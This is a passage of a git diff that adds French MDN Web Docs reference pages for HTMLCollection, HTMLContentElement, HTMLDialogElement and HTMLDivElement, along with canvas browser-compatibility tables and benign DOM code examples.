+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozFetchAsStream()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('13')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Fonctionnalité de base</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatGeckoMobile('3.6')}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>toBlobHD()</code>, <code>toDataURLHD()</code>, <code>supportsContext()</code>, <code>setContext()</code>, <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozFetchAsStream()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('13')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 et supérieur ont un support partiel.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Elément HTML implementant cette interface : {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmlcollection/index.html b/files/fr/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..ef8d29878a
--- /dev/null
+++ b/files/fr/web/api/htmlcollection/index.html
@@ -0,0 +1,94 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interface <strong>HTMLCollection</strong> est constituée d'une collection générique (à la manière d'un tableau similaire à <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a>) d'éléments (dans l'ordre du document) et offre des méthodes et des propriétés pour sélectionner ces éléments dans la liste.</p>
+
+<p><strong>Note:</strong> Cette interface est appelée <code>HTMLCollection</code> pour des raisons historiques (avant DOM4, les collections implémentant cette interface pouvaient uniquement êtres constituées d'élements HTML).</p>
+
+<p>Une HTMLCollection dans le DOM HTML est automatiquement mise à jour quand le document concerné change.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Retourne le nombre d'éléments de la collection.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>Retourne le nœud spécifique à l'<code>index</code> basé sur zéro donné dans la liste. Retourne <code>null</code> si l'<code>index</code> est hors de portée.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>Retourne le nœud spécifique dont l'ID ou, à défaut, le nom correspond à la chaîne de caractères fournie par <code>name</code>. La recherche par nom est faite seulement en dernier ressort, uniquement en HTML, et seulement si l'élément référencé supporte l'attribut <code>name</code>. Retourne <code>null</code> si aucun nœud n'existe pour le nom donné.</dd>
+</dl>
+
+<h2 id="Utilisation_en_JavaScript">Utilisation en JavaScript</h2>
+
+<p><code>HTMLCollection</code> expose aussi directement ses membres comme propriétés, par nom et par index. Les ID HTML peuvent contenir : et . comme caractères valides, ce qui nécessite d'utiliser la notation entre crochets pour accèder aux propriétés. Actuellement, HTMLCollections ne reconnait pas  purement les ID numériques, ce qui provoquerait des conflits avec l'accès de "array-style" , bien qu'HTML5 le permette.</p>
+
+<p>Par exemple, en supposant qu'il y ait un élément <code>&lt;form&gt;</code> <em>(formulaire)</em> dans le document et que son <code>id</code> soit <code>"myForm" </code>:</p>
+
+<pre class="brush: html"><code>var elem1, elem2;
+
+// document.forms est une HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // affiche : "true" <em>(vrai)</em>
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // affiche : "true"
+
+elem1 = document.forms["named.item.with.periods"];</code></pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Certains navigateurs se comportent différemment quand il y a plus d'un élément correspondant à la chaîne utilisée comme index (ou l'argument <code>namedItem</code>). Firefox 8 se comporte comme spécifié dans DOM 2 et DOM4, en retournant le premier élément correspondant. Les navigateurs WebKit et Internet Explorer, dans ce cas, retournent une autre <code>HTMLCollection</code> et Opera retourne un {{domxref("NodeList")}} de tous les éléments correspondants.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM2 HTML') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlcollection/item/index.html b/files/fr/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..d3e10f88c0
--- /dev/null
+++ b/files/fr/web/api/htmlcollection/item/index.html
@@ -0,0 +1,36 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+translation_of: Web/API/HTMLCollection/item
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code>HTMLCollection.item()</code> récupère un élément par sa position.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>index</dt>
+ <dd>La position de l'élement à retourner. Les éléments apparaissent dans une HTMLCollection dans le même ordre que celui du document source.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élement à la position spécifiée, ou null si la position est inférieure à zéro ou supérieure ou égale à la valeur de la propriété <code>length</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>item()</code> retourne un élément numéroté d'une HTMLCollection. En Javascript, il est plus simple de traiter une HTMLCollection comme un tableau et d'utiliser les indexes comme pour les tableaux.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var c = document.images;  // Ceci est une HTMLCollection.
+var img0 = c.item(0);     // Vous pouvez utiliser la méthode item comme ceci,
+var img1 = c[1];          // Mais cette notation est plus simple et plus commune
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlcontentelement/getdistributednodes/index.html b/files/fr/web/api/htmlcontentelement/getdistributednodes/index.html
new file mode 100644
index 0000000000..61fc5c2798
--- /dev/null
+++ b/files/fr/web/api/htmlcontentelement/getdistributednodes/index.html
@@ -0,0 +1,100 @@
+---
+title: HTMLContentElement.getDistributedNodes()
+slug: Web/API/HTMLContentElement/getDistributedNodes
+tags:
+  - API
+  - HTML DOM
+  - Référence(2)
+  - Web Components
+translation_of: Web/API/HTMLContentElement/getDistributedNodes
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>La méthode <code><strong>HTMLContentElement.getDistributedNodes()</strong></code> retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément <code>&lt;content&gt;</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>nodeList</em> = <em>object</em>.getDistributedNodes()
+</pre>
+
+<h2 id="Specifications" name="Specifications">Exemple</h2>
+
+<pre class="brush: js">// Récupère les éléments
+var nodes = myContentObject.getDistributedNodes();</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span><span style="font-size: 14px; line-height: 1.5;"> </span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si le Shadow DOM n'est pas activé dans Firefox, les éléments <code>&lt;content&gt;</code> se comporteront comme des {{domxref("HTMLUnknownElement")}}. Les Shadow DOM ont été ajoutés dans Firefox 28 et sont configurés par un paramètre, <code>dom.webcomponents.enabled</code>, désactivé par défault.</p>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation"><span title="">Voir également</span></span></div>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTMLContentElement">HTMLContentElement</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlcontentelement/index.html b/files/fr/web/api/htmlcontentelement/index.html
new file mode 100644
index 0000000000..9368fb2fd6
--- /dev/null
+++ b/files/fr/web/api/htmlcontentelement/index.html
@@ -0,0 +1,112 @@
+---
+title: HTMLContentElement
+slug: Web/API/HTMLContentElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+  - Web Components
+translation_of: Web/API/HTMLContentElement
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>L'interface <code><strong>HTMLContentElement</strong></code> represente un élément HTML {{HTMLElement("content")}}, utilisé dans le <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>. </p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.select")}}</dt>
+ <dd>Une {{domxref("DOMString")}} qui renvoie le {{ htmlattrxref("select", "content") }} d'un attribut HTML. La valeur de retour est une liste de sélecteurs CSS séparés par des virgules. Ils récupèrent le contenu à inserer à la place de l'élément <code>&lt;content&gt;</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des methodes de {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.getDistributedNodes()")}}</dt>
+ <dd>Retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément <code>&lt;content&gt;</code>. </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si Shadow DOM n'est pas activé sur Firefox, les élements &lt;content&gt; agiront comme des  {{domxref("HTMLUnknownElement")}}. Les Shadow DOM ont été ajoutés à Firefox 28 et sont derrière une configuration <code>dom.webcomponents.enabled</code>, qui est désactivée par défaut.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>L'élement HTML {{HTMLElement("content")}}, qui implémente cette interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/fr/web/api/htmlcontentelement/select/index.html b/files/fr/web/api/htmlcontentelement/select/index.html
new file mode 100644
index 0000000000..c6cdfd1230
--- /dev/null
+++ b/files/fr/web/api/htmlcontentelement/select/index.html
@@ -0,0 +1,101 @@
+---
+title: HTMLContentElement.select
+slug: Web/API/HTMLContentElement/select
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Référence(2)
+  - Web Components
+translation_of: Web/API/HTMLContentElement/select
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>La propriété <code><strong>HTMLContentElement.select</strong></code> represente l'attribut <code>select</code>. La valeur de retour est une liste de sélecteurs CSS séparés par des espaces. Ils récupèrent le contenu à inserer à la place de l'élément <code>&lt;content&gt;</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>object</em>.select = "<em>CSSselector</em> <em>CSSselector</em> ...";
+</pre>
+
+<h2 id="Specifications" name="Specifications">Exemple</h2>
+
+<pre class="brush: js">// Choisi les éléments &lt;h1&gt; et les elements avec la class "error"
+myContentObject.select = "h1 .error";</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si Shadow DOM n'est pas activé sur Firefox, les élements &lt;content&gt; agiront comme des  {{domxref("HTMLUnknownElement")}}. Les Shadow DOM ont été ajoutés à Firefox 28 et sont derrière une configuration <code>dom.webcomponents.enabled</code>, qui est désactivée par défaut.</p>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation"><span title="">Voir également</span></span></div>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTMLContentElement">HTMLContentElement</a></li>
+</ul>
diff --git a/files/fr/web/api/htmldialogelement/close_event/index.html b/files/fr/web/api/htmldialogelement/close_event/index.html
new file mode 100644
index 0000000000..b3708752ef
--- /dev/null
+++ b/files/fr/web/api/htmldialogelement/close_event/index.html
@@ -0,0 +1,116 @@
+---
+title: 'HTMLDialogElement: close event'
+slug: Web/API/HTMLDialogElement/close_event
+tags:
+  - API
+  - DOM HTML
+  - Evènement
+  - HTMLDialogElement
+  - Reference
+  - close
+  - fermeture
+translation_of: Web/API/HTMLDialogElement/close_event
+---
+<p>{{ APIRef() }}</p>
+
+<p><span class="seoSummary">L'événement <strong><code>close</code></strong> est déclenché sur un objet {{domxref ("HTMLDialogElement")}} lorsque la boîte de dialogue qu'il représente a été fermée</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bouillonnant</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété du gestionnaire d'événements</th>
+   <td>{{domxref ("GlobalEventHandlers/onclose", "onclose")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_concret">Exemple concret</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dialog class="example-dialog"&gt;
+  &lt;button class="close" type="reset"&gt;Close&lt;/button&gt;
+&lt;/dialog&gt;
+
+&lt;button class="open-dialog"&gt;Open dialog&lt;/button&gt;
+
+&lt;div class="result"&gt;&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">button, div {
+  margin: .5rem;
+}
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js notranslate">const result = document.querySelector('.result')
+
+const dialog = document.querySelector('.example-dialog')
+dialog.addEventListener('close', (event) =&gt; {
+  result.textContent = 'dialog was closed'
+})
+
+const openDialog = document.querySelector('.open-dialog')
+openDialog.addEventListener('click', () =&gt; {
+  if (typeof dialog.showModal === 'function') {
+    dialog.showModal()
+    result.textContent = ''
+  } else {
+    result.textContent = 'The dialog API is not supported by this browser'
+  }
+})
+
+const closeButton = document.querySelector('.close')
+closeButton.addEventListener('click', () =&gt; {
+  dialog.close()
+})
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Exemple_concret', '100%', '100px') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'indices.html#event-close', 'close') }}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.HTMLDialogElement.close_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Élément HTML <code><a href="/en-US/docs/Web/HTML/Element/dialog">&lt;dialog&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/api/htmldialogelement/index.html b/files/fr/web/api/htmldialogelement/index.html
new file mode 100644
index 0000000000..7a5458bf48
--- /dev/null
+++ b/files/fr/web/api/htmldialogelement/index.html
@@ -0,0 +1,148 @@
+---
+title: HTMLDialogElement
+slug: Web/API/HTMLDialogElement
+tags:
+  - API
+  - Experimental
+  - HTML DOM
+  - HTMLDialogElement
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLDialogElement
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>HTMLDialogElement</code></strong> interface provides methods to manipulate {{HTMLElement("dialog")}} elements. It inherits properties and methods from the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.open")}}</dt>
+ <dd>A {{domxref("Boolean")}} reflecting the {{htmlattrxref("open", "dialog")}} HTML attribute, indicating whether the dialog is available for interaction.</dd>
+ <dt>{{domxref("HTMLDialogElement.returnValue")}}</dt>
+ <dd>A {{domxref("DOMString")}} that sets or returns the return value for the dialog.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.close()")}}</dt>
+ <dd>Closes the dialog. An optional {{domxref("DOMString")}} may be passed as an argument, updating the <code>returnValue</code> of the the dialog.</dd>
+ <dt>{{domxref("HTMLDialogElement.show()")}}</dt>
+ <dd>Displays the dialog modelessly, i.e. still allowing interaction with content outside of the dialog.</dd>
+ <dt>{{domxref("HTMLDialogElement.showModal()")}}</dt>
+ <dd>Displays the dialog as a modal, over the top of any other dialogs that might be present. Interaction outside the dialog is blocked.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement/close_event", "close")}}</dt>
+ <dd>Fired when the dialog is closed.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onclose", "onclose")}} property.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following example shows a simple button that, when clicked, opens a {{htmlelement("dialog")}} containing a form via the {{domxref("HTMLDialogElement.showModal()")}} function. From there you can click the <em>Cancel</em> button to close the dialog (via the {{domxref("HTMLDialogElement.close()")}} function), or submit the form via the submit button.</p>
+
+<pre class="brush: html notranslate">  &lt;!-- Simple pop-up dialog box, containing a form --&gt;
+  &lt;dialog id="favDialog"&gt;
+    &lt;form method="dialog"&gt;
+      &lt;section&gt;
+        &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+        &lt;select id="favAnimal" name="favAnimal"&gt;
+          &lt;option&gt;&lt;/option&gt;
+          &lt;option&gt;Brine shrimp&lt;/option&gt;
+          &lt;option&gt;Red panda&lt;/option&gt;
+          &lt;option&gt;Spider monkey&lt;/option&gt;
+        &lt;/select&gt;&lt;/p&gt;
+      &lt;/section&gt;
+      &lt;menu&gt;
+        &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+        &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+      &lt;/menu&gt;
+    &lt;/form&gt;
+  &lt;/dialog&gt;
+
+  &lt;menu&gt;
+    &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+  &lt;/menu&gt;
+
+  &lt;script&gt;
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Update button opens a modal dialog
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Form cancel button closes the dialog box
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  &lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub as <a href="https://github.com/mdn/dom-examples/blob/master/htmldialogelement-basic/index.html">htmldialogelement-basic</a> (<a href="https://mdn.github.io/dom-examples/htmldialogelement-basic/">see it live also</a>).</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmldialogelement', 'HTMLDialogElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLDialogElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("dialog") }}.</li>
+</ul>
diff --git a/files/fr/web/api/htmldivelement/index.html b/files/fr/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..0d46821045
--- /dev/null
+++ b/files/fr/web/api/htmldivelement/index.html
@@ -0,0 +1,74 @@
+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLDivElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'interface <strong><code>HTMLDivElement</code></strong> fournit certaines propriétés spécifiques (en plus de celles qui proviennent de l'interface {{domxref("HTMLElement")}} via l'héritage) afin de manipuler les éléments {{HtmlElement("div")}}.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de son parent {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
